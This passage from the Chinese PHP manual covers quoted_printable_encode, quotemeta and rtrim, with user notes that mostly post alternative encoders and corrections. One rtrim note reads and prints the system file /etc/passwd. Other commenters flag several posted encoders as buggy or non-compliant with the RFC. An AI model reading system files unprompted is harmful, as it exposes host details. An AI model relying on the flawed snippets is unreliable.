$str = str_replace("=\r\n", '', quoted_printable_encode($str));
if (strlen($str) > 73) {$str = substr($str,0,74)."=\n".substr($str,74);}
feedr 06-Mar-2009 02:39
Another (improved) version of quoted_printable_encode(). Please note the order of the array elements in str_replace().
I've just rewritten the previous function for better readability.

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
        $string = str_replace(array('%20', '%0D%0A', '%'), array(' ', "\r\n", '='), rawurlencode($string));
        $string = preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $string);

        return $string;
  }
}
?>
andre at luyer dot nl 02-Nov-2008 12:36
A small update for Andrew's code below. This one leaves the original CRLF pairs intact (and allowing the preg_replace to work as intended):

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n",
      str_replace("%", "=", str_replace("%0D%0A", "\r\n",
        str_replace("%20"," ",rawurlencode($string)))));
  }
}
?>

Regards, André
Karora 19-Oct-2008 08:27
Taking a bunch of the earlier comments together, you can synthesize a nice short and reasonably efficient quoted_printable_encode function like this:

Note that I put this in my standard library file, so I wrap it in a !function_exists in order that if there is a pre-existing PHP one it will just work and this will evaluate to a noop.

<?php
if ( !function_exists("quoted_printable_encode") ) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7.  Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces aren't encoded as =20 though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=",str_replace("%20"," ",rawurlencode($string))));
  }
}
?>

Regards,
Andrew McMillan.
zg 27-Sep-2008 06:48
<?php

function quoted_printable_encode( $str, $chunkLen = 72 )
{
    $offset = 0;

    $str = strtr(rawurlencode($str), array('%' => '='));
    $len = strlen($str);
    $enc = '';

    while ( $offset < $len )
    {
        if ( $str{ $offset + $chunkLen - 1 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 1);
            $offset += $chunkLen - 1;
        }
        elseif ( $str{ $offset + $chunkLen - 2 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 2);
            $offset += $chunkLen - 2;
        }
        else
        {
            $line = substr($str, $offset, $chunkLen);
            $offset += $chunkLen;
        }

        if ( $offset + $chunkLen < $len )
            $enc .= $line ."=\n";
        else
            $enc .= $line;
    }

    return $enc;
}

?>
Christian Albrecht 24-Sep-2008 03:10
In Addition to david lionhead's function:

<?php
function quoted_printable_encode($txt) {
    /* Make sure there are no %20 or similar */
    $txt = rawurldecode($txt);
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9')) {
            $line.=$txt[$i];
            if (strlen($line)>=75) {
                $tmp.="$line=\n";
                $line="";
            }
        }
        else {
            /* Important to differentiate this case from the above */
            if (strlen($line)>=72) {
            $tmp.="$line=\n";
            $line="";
            }
            $line.="=".sprintf("%02X",ord($txt[$i]));
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
?>
david at lionhead dot nl 18-Aug-2008 05:54
My version of quoted_printable encode, as the convert.quoted-printable-encode filter breaks on outlook express. This one seems to work on express/outlook/thunderbird/gmail.

function quoted_printable_encode($txt) {
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9'))
            $line.=$txt[$i];
        else
            $line.="=".sprintf("%02X",ord($txt[$i]));
        if (strlen($line)>=75) {
            $tmp.="$line=\n";
            $line="";
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
vita dot plachy at seznam dot cz 23-Mar-2008 08:22
<?php
$text = <<<EOF
This function enables you to convert text to a quoted-printable string as well as to create encoded-words used in email headers (see http://www.faqs.org/rfcs/rfc2047.html).

No line of returned text will be longer than specified. Encoded-words will not contain a newline character. Special characters are removed.
EOF;

define('QP_LINE_LENGTH', 75);
define('QP_LINE_SEPARATOR', "\r\n");

function quoted_printable_encode($string, $encodedWord = false)
{
    if(!preg_match('//u', $string)) {
        throw new Exception('Input string is not valid UTF-8');
    }

    static $wordStart = '=?UTF-8?Q?';
    static $wordEnd = '?=';
    static $endl = QP_LINE_SEPARATOR;

    $lineLength = $encodedWord
        ? QP_LINE_LENGTH - strlen($wordStart) - strlen($wordEnd)
        : QP_LINE_LENGTH;

    $string = $encodedWord
        ? preg_replace('~[\r\n]+~', ' ', $string)    // we need encoded word to be single line
        : preg_replace('~\r\n?~', "\n", $string);    // normalize line endings
    $string = preg_replace('~[\x00-\x08\x0B-\x1F]+~', '', $string);    // remove control characters

    $output = $encodedWord ? $wordStart : '';
    $charsLeft = $lineLength;

    $chr = isset($string{0}) ? $string{0} : null;
    $ord = ord($chr);

    for ($i = 0; isset($chr); $i++) {
        $nextChr = isset($string{$i + 1}) ? $string{$i + 1} : null;
        $nextOrd = ord($nextChr);

        if (
            $ord > 127 or    // high byte value
            $ord === 95 or    // underscore "_"
            $ord === 63 && $encodedWord or    // "?" in encoded word
            $ord === 61 or    // equal sign "="
            // space or tab in encoded word or at line end
            $ord === 32 || $ord === 9 and $encodedWord || !isset($nextOrd) || $nextOrd === 10
        ) {
            $chr = sprintf('=%02X', $ord);
        }

        if ($ord === 10) {    // line feed
            $output .= $endl;
            $charsLeft = $lineLength;
        } elseif (
            strlen($chr) < $charsLeft or
            strlen($chr) === $charsLeft and $nextOrd === 10 || $encodedWord
        ) {    // add character
            $output .= $chr;
            $charsLeft-=strlen($chr);
        } elseif (isset($nextOrd)) {    // another line needed
            $output .= $encodedWord
                ? $wordEnd . $endl . "\t" . $wordStart . $chr
                : '=' . $endl . $chr;
            $charsLeft = $lineLength - strlen($chr);
        }

        $chr = $nextChr;
        $ord = $nextOrd;
    }

    return $output . ($encodedWord ? $wordEnd : '');
}

echo quoted_printable_encode($text/*, true*/);
ludwig at gramberg-webdesign dot de 24-Sep-2007 12:13
my approach for quoted printable encode using the stream converting abilities

<?php
/**
 * @param string $str
 * @return string
 * */
function quoted_printable_encode($str) {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $str);
    fseek($fp, 0);
    $result = '';
    while(!feof($fp))
        $result .= fread($fp, 1024);
    fclose($fp);
    return $result;
}
?>
roelof 24-Jul-2007 07:06
I modified the below version of legolas558 at users dot sausafe dot net and added a wrapping option.

<?php
/**
 *    Codeer een String naar zogenaamde 'quoted printable'. Dit type van coderen wordt
 *    gebruikt om de content van 8 bit e-mail berichten als 7 bits te versturen.
 *
 *    @access public
 *    @param string    $str    De String die we coderen
 *    @param bool      $wrap   Voeg linebreaks toe na 74 tekens?
 *    @return string
 */

function quoted_printable_encode($str, $wrap=true)
{
    $return = '';
    $iL = strlen($str);
    for($i=0; $i<$iL; $i++)
    {
        $char = $str[$i];
        if(ctype_print($char) && !ctype_punct($char)) $return .= $char;
        else $return .= sprintf('=%02X', ord($char));
    }
    return ($wrap === true)
        ? wordwrap($return, 74, " =\n")
        : $return;
}

?>
legolas558 at users dot sausafe dot net 21-Feb-2007 11:09
As soletan at toxa dot de reported, that function is very bad and does not provide valid enquoted printable strings. While using it I saw spam agents marking the emails as QP_EXCESS and sometimes the email client did not recognize the header at all; I really lost time :(. This is the new version (we use it in the Drake CMS core) that works seamlessly:

<?php

//L: note $encoding that is uppercase
//L: also your PHP installation must have ctype_alpha, otherwise write it yourself
function quoted_printable_encode($string, $encoding='UTF-8') {
// use this function with headers, not with the email body as it misses word wrapping
       $len = strlen($string);
       $result = '';
       $enc = false;
       for($i=0;$i<$len;++$i) {
        $c = $string[$i];
        if (ctype_alpha($c))
            $result.=$c;
        else if ($c==' ') {
            $result.='_';
            $enc = true;
        } else {
            $result.=sprintf("=%02X", ord($c));
            $enc = true;
        }
       }
       //L: so spam agents won't mark your email with QP_EXCESS
       if (!$enc) return $string;
       return '=?'.$encoding.'?q?'.$result.'?=';
}

I hope it helps ;)

?>
soletan at toxa dot de 20-Feb-2007 03:54
Be warned! The method below for encoding text does not work as requested by RFC1521!

Consider a line consisting of 75 'A' and a single é (or similar non-ASCII character) ... the method below would encode and return a line of 78 octets, breaking with RFC 1521, 5.1 Rule #5: "The Quoted-Printable encoding REQUIRES that encoded lines be no more than 76 characters long."

Good QP-encoding takes a bit more than this.
legolas558 12-Feb-2007 10:32
Please note that in the below encode function there is a bug!

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<0x20))
?>

$c should be checked against less or equal to encode spaces!

so the correct code is

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<=0x20))
?>

Fix the code or post this note, please
Thomas Pequet / Memotoo.com 19-Oct-2006 06:15
If you want a function to do the reverse of "quoted_printable_decode()", follow the link you will find the "quoted_printable_encode()" function:
http://www.memotoo.com/softs/public/PHP/quoted printable_encode.inc.php

Compatible "ENCODING=QUOTED-PRINTABLE"
Example:
quoted_printable_encode(ut8_encode("c'est quand l'été ?"))
-> "c'est quand l'=C3=A9t=C3=A9 ?"
steffen dot weber at computerbase dot de 22-Jul-2005 02:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
dmitry at koterov dot ru 19-Feb-2005 05:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
pob at medienrecht dot NOSPAM dot org 18-Jul-2001 01:06
If you do not have access to imap_* and do not want to use
?$message = chunk_split( base64_encode($message) );?
because you want to be able to read the ?source? of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

    while( list(, $line) = each($lines) ) {
        //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
        $linlen = strlen($line);
        $newline = "";
        for($i = 0; $i < $linlen; $i++) {
            $c = substr($line, $i, 1);
            $dec = ord($c);
            if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
                $c = "=20";
            } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
                $h2 = floor($dec/16); $h1 = floor($dec%16);
                $c = $escape.$hex["$h2"].$hex["$h1"];
            }
            if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
                $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
                $newline = "";
            }
            $newline .= $c;
        } // end of for
        $output .= $newline.$eol;
    }
    return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF         =          xxx             yyy       zzz          \r\n"
            ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru 03-Aug-2000 05:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f


将 8-bit 字符串转换成 quoted-printable 字符串

  • ? quoted_printable_decode
  • quotemeta ?
  • PHP Manual
  • 字符串 函数
  • 将 8-bit 字符串转换成 quoted-printable 字符串

quoted_printable_encode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

quoted_printable_encode — 将 8-bit 字符串转换成 quoted-printable 字符串

说明

quoted_printable_encode(string $string): string

返回 quoted-printable 格式的字符，该格式由 » RFC2045 6.7.章节里制定。

该函数与 imap_8bit() 函数十分相似，不同的是该函数不需要 IMAP 模块就能运行。

参数

string

输入的字符串。

返回值

返回编码之后的字符串。

示例

Example #1 quoted_printable_encode() 示例

<?php

$encoded = quoted_printable_encode('M?chten Sie ein paar ?pfel?');

var_dump($encoded);
var_dump(quoted_printable_decode($encoded));
?>

以上示例会输出：

string(37) "M=C3=B6chten Sie ein paar =C3=84pfel?"
string(29) "M?chten Sie ein paar ?pfel?"

参见

  • quoted_printable_decode() - 将 quoted-printable 字符串转换为 8-bit 字符串
  • iconv_mime_encode() - Composes a MIME header field

User Contributed Notes

marcus at synchromedia dot co dot uk 13-Feb-2017 07:48
Note that this function returns the quoted-printable string with Windows / RFC822 CRLF line breaks. If you're passing the output of this function into mail(), you may need to convert its line breaks to Unix LF style first.
jurgen at edesign dot nl 02-Oct-2014 09:16
Both PHP's native implementation and the function of ericth at NOSPAM dot pennyworth dot com (below) contain an feature/error (usage for SMTP mismatch) which has been solved in my adjustment below.

The error causes a text containing period character(s), when passed through these functions, end up with encoded lines starting with a period character, the first period character on that line will be discarded when it is transported over SMTP.

Solution: add (another) leading '.' to period characters which would end up as first character on a line when encoded.

See http://stackoverflow.com/a/13949483: "This is a dirty artifact of your transport layer... SMTP is the most probable culprit (see the call for caution in the mail function documentation) but there may be other low level mecanisms that behave similarly. For example if you tweaked the sendmail_path setting or use a buggy sendmail program you may experience similar woes."

<?php
define('PHP_QPRINT_MAXL', 75);

function leading_dot_fixed_php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
                if($lp == 1 && $c == '.') {
                    $ret .= '.';
                    $lp++;
                }
            }
        }
    }

    return $ret;
}

?>
ericth at NOSPAM dot pennyworth dot com 07-Oct-2011 01:46
I have re-written the PHP 5.3.8 function for quoted_printable_encode into PHP for use with PHP < 5.3.  Tested with PHP 5.2.11.

<?php
define('PHP_QPRINT_MAXL', 75);

function php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
            }
        }
    }

    return $ret;
}

?>
arnaudv6 15-Aug-2011 08:56
One will like to know and clearly read that RFC2045 specifies a line shall not exceed 75 characters.
Accordingly, quoted_printable_encode() splits line at this limit.
Thorsten Glaser 24-Sep-2010 06:05
Two bugs:

1) your linebreak is wrong

                $linebreak = "\r\n";

2) continuation of lines with no whitespace is broken

                                        /*
                                         * the text after the whitespace will have to
                                         * be read again ( + any additional characters
                                         * that came into existence as a result of the
                                         * encoding process after the whitespace)
                                         *
                                         * Also, do not start at 0, if there was *no*
                                         * whitespace in the whole line
                                         */
                                        if (($i + $addtl_chars) > $whitesp_diff) {
                                                $output .= substr($cur_conv_line, 0,
                                                    (strlen($cur_conv_line) - $whitesp_diff)) .
                                                    $linebreak;
                                                $i = $i - $whitesp_diff + $addtl_chars;
                                        } else {
                                                /* emit continuation --mirabilos */
                                                $output .= $cur_conv_line .
                                                    '=' . $linebreak;
                                        }
tzangerl [dot] pdc {dot} kth dot se 09-Apr-2010 02:05
A function that QP-encodes an input string (written for PHP < 5.3) and
wordwraps it at the same time, in order to avoid classification according to the MIME QP LONG LINE rule of SpamAssassin.  Thanks for Matt Jeffers to point out errors in the below quoted_printable script!

<?php
function quoted_printable_encode($input, $line_max = 75) {
   $hex = array('0','1','2','3','4','5','6','7',
                          '8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $linebreak = "=0D=0A=\r\n";
   /* the linebreak also counts as characters in the mime_qp_long_line
    * rule of spam-assassin */
   $line_max = $line_max - strlen($linebreak);
   $escape = "=";
   $output = "";
   $cur_conv_line = "";
   $length = 0;
   $whitespace_pos = 0;
   $addtl_chars = 0;

   // iterate lines
   for ($j=0; $j<count($lines); $j++) {
     $line = $lines[$j];
     $linlen = strlen($line);

     // iterate chars
     for ($i = 0; $i < $linlen; $i++) {
       $c = substr($line, $i, 1);
       $dec = ord($c);

       $length++;

       if ($dec == 32) {
          // space occurring at end of line, need to encode
          if (($i == ($linlen - 1))) {
             $c = "=20";
             $length += 2;
          }

          $addtl_chars = 0;
          $whitespace_pos = $i;
       } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
          $h2 = floor($dec/16); $h1 = floor($dec%16);
          $c = $escape . $hex["$h2"] . $hex["$h1"];
          $length += 2;
          $addtl_chars += 2;
       }

       // length for wordwrap exceeded, get a newline into the text
       if ($length >= $line_max) {
         $cur_conv_line .= $c;

         // read only up to the whitespace for the current line
         $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

        /* the text after the whitespace will have to be read
         * again ( + any additional characters that came into
         * existence as a result of the encoding process after the whitespace)
         *
         * Also, do not start at 0, if there was *no* whitespace in
         * the whole line */
         if (($i + $addtl_chars) > $whitesp_diff) {
            $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) -
                           $whitesp_diff)) . $linebreak;
            $i =  $i - $whitesp_diff + $addtl_chars;
          } else {
            $output .= $cur_conv_line . $linebreak;
          }

        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
      } else {
        // length for wordwrap not reached, continue reading
        $cur_conv_line .= $c;
      }
    } // end of for

    $length = 0;
    $whitespace_pos = 0;
    $output .= $cur_conv_line;
    $cur_conv_line = "";

    if ($j<=count($lines)-1) {
      $output .= $linebreak;
    }
  } // end for

  return trim($output);
} // end quoted_printable_encode
?>


转义元字符集

  • ? quoted_printable_encode
  • rtrim ?
  • PHP Manual
  • 字符串 函数
  • 转义元字符集

quotemeta

(PHP 4, PHP 5, PHP 7, PHP 8)

quotemeta — 转义元字符集

说明

quotemeta(string $string): string

返回 在下面这些特殊字符前加 反斜线(\) 转义后的字符串。 这些特殊字符包含：

. \ + * ? [ ^ ] ( $ )

参数

string

输入字符串

返回值

返回 元字符集被转义后的 字符串，如果输入字符串string为空， 则返回 false。

示例

Example #1 quotemeta() 示例

<?php

var_dump(quotemeta('PHP is a popular scripting language. Fast, flexible, and pragmatic.'));
?>

以上示例会输出：

string(69) "PHP is a popular scripting language\. Fast, flexible, and pragmatic\."

注释

Note: 此函数可安全用于二进制对象。

参见

  • addslashes() - 使用反斜线引用字符串
  • addcslashes() - 以 C 语言风格使用反斜线转义字符串中的字符
  • htmlentities() - 将字符转换为 HTML 转义字符
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • stripslashes() - 反引用一个引用字符串
  • stripcslashes() - 反引用一个使用 addcslashes 转义的字符串
  • preg_quote() - 转义正则表达式字符

User Contributed Notes

kumarkulandai at gmail dot com 26-Oct-2009 11:29
<?php
$str = "Hello world. (can you hear me?)";
echo quotemeta($str);
?>

The output of the code above will be:
Hello world\. \(can you hear me\?\)
George Adams 16-Feb-2006 08:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
15-May-2001 03:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).


删除字符串末端的空白字符（或者其他字符）

  • ? quotemeta
  • setlocale ?
  • PHP Manual
  • 字符串 函数
  • 删除字符串末端的空白字符（或者其他字符）

rtrim

(PHP 4, PHP 5, PHP 7, PHP 8)

rtrim — 删除字符串末端的空白字符（或者其他字符）

说明

rtrim(string $string, string $characters = " \n\r\t\v\x00"): string

该函数删除 string 末端的空白字符（或者其他字符）并返回。

不使用第二个参数，rtrim() 仅删除以下字符：

  • " " (ASCII 32 (0x20))，普通空白符。
  • "\t" (ASCII 9 (0x09))，制表符。
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))，NUL 空字节符。
  • "\v" (ASCII 11 (0x0B))，垂直制表符。

参数

string

输入字符串。

characters

通过指定 characters，可以指定想要删除的字符列表。简单地列出你想要删除的全部字符。使用 .. 格式，可以指定一个范围。

返回值

返回改变后的字符串。

示例

Example #1 rtrim() 使用示例

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = rtrim($text);
var_dump($trimmed);

$trimmed = rtrim($text, " \t.");
var_dump($trimmed);

$trimmed = rtrim($hello, "Hdle");
var_dump($trimmed);

// 删除 $binary 末端的 ASCII 码控制字符
// (包括 0 - 31)
$clean = rtrim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上示例会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "        These are a few words :) ..."
string(26) "        These are a few words :)"
string(9) "Hello Wor"
string(15) "    Example string"

参见

  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • ltrim() - 删除字符串开头的空白字符（或其他字符）

User Contributed Notes

andreipop2005 at gmail dot com 13-Jul-2015 09:24
Trim limit would be really helpfull. I made a little helper function to do a rtrim with a limited number of replaces:

<?php
function rtrim_limit($str, $delim, $count = 0)
    {
        if ($count == 0) return rtrim($str, $delim);

        $l = strlen($delim);
        $k = 0;

        while (substr($str, -$l) == $delim && ($count == 0 || ($count > 0 && $k++ < $count))) {
            $str = substr($str, 0, strlen($str) - $l);
        }

        return $str;
    }
?>
Anonymous 05-Mar-2014 05:55
To ltrim or rtrim a dot it have to be escaped ltrim('.1252', '\.')
pinkgothic at gmail dot com 01-Jul-2013 09:10
On the recurring subject of string-stripping instead of character-stripping rtrim() implementations... the simplest (with a caveat) is probably the basename() function. It has a second parameter that functions as a right-trim using whole strings:

<?php

echo basename('MooFoo', 'Foo');

?>

...outputs 'Moo'.

Since it also strips anything that looks like a directory, it's not quite identical with hacking a string off the end:

<?php

echo basename('Zoo/MooFoo', 'Foo');

?>

...still outputs 'Moo'.

But sometimes it gets the job done.
pLIMP 20-Jul-2012 07:49
Function similar to rtrim only this will truncate the string at the 1st occurence of any character from $charlist

<?php

function rstrip($string, $charlist = "\t ") {
    // removes everything from first occurence of char in charlist to end of string

    $charlist = str_split($charlist);
    $pos = strlen($string);

    foreach ($charlist as $char) {
        $pos = min(strpos($string, $char), $pos);
    }

    $string_stripped = substr($string, 0, $pos);

    return $string_stripped;
}

?>
krzysiek dot 333 at gmail dot com 01-May-2012 09:58
function read_more($in,$len=160){
    if(strlen($in)>$len){
        return preg_replace('/[\s\.,][^\s\.,]*$/u', '', substr($in, 0, $len)).'...';
    }else{
        return $in;
    }
}

echo read_mode("Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque aliquet tellus. Phasellus pharetra nulla ac diam. Quisque semper justo at risus. Donec venenatis, turpis vel hendrerit interdum, dui ligula ultricies purus, sed posuere libero dui id orci.");
/* Output:
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque...*/
NBS Studio 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
info at nbs-studio dot com 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
pinkgothic at gmail dot com 22-Jan-2010 05:36
I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant:

<?php

function strrtrim($message, $strip) {
    // break message apart by strip string
    $lines = explode($strip, $message);
    $last  = '';
    // pop off empty strings at the end
    do {
        $last = array_pop($lines);
    } while (empty($last) && (count($lines)));
    // re-assemble what remains
    return implode($strip, array_merge($lines, array($last)));
}

?>

Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee!
harmor 04-Apr-2008 03:05
I'm sure there's a better way to strip strings from the end of strings.

<?php
/**
 * Strip a string from the end of a string
 *
 * @param string $str      the input string
 * @param string $remove   OPTIONAL string to remove
 *
 * @return string the modified string
  */
function rstrtrim($str, $remove=null)
{
    $str    = (string)$str;
    $remove = (string)$remove;

    if(empty($remove))
    {
        return rtrim($str);
    }

    $len = strlen($remove);
    $offset = strlen($str)-$len;
    while($offset > 0 && $offset == strpos($str, $remove, $offset))
    {
        $str = substr($str, 0, $offset);
        $offset = strlen($str)-$len;
    }

    return rtrim($str);

} //End of function rstrtrim($str, $remove=null)

echo rstrtrim('Hello World!!!', '!')   .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!')  .'<br />'; //"Hello World!"
echo rstrtrim('Hello World!!!', '!!!') .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!!!').'<br />'; //"Hello World!!!"
?>
YAS 08-May-2006 06:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com 17-Feb-2006 02:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

<?php
# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
    $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
?>
Unimagined at UnaimaginedDesigns dot Com 16-Jan-2005 12:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

    if ($bpinfol == $pinfol) {
    $rcut++;
    if ($rcut == $lcut) {
    unset($wiy);
    }
    $ucut++;
    } else {
    $so = "restart";
    }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

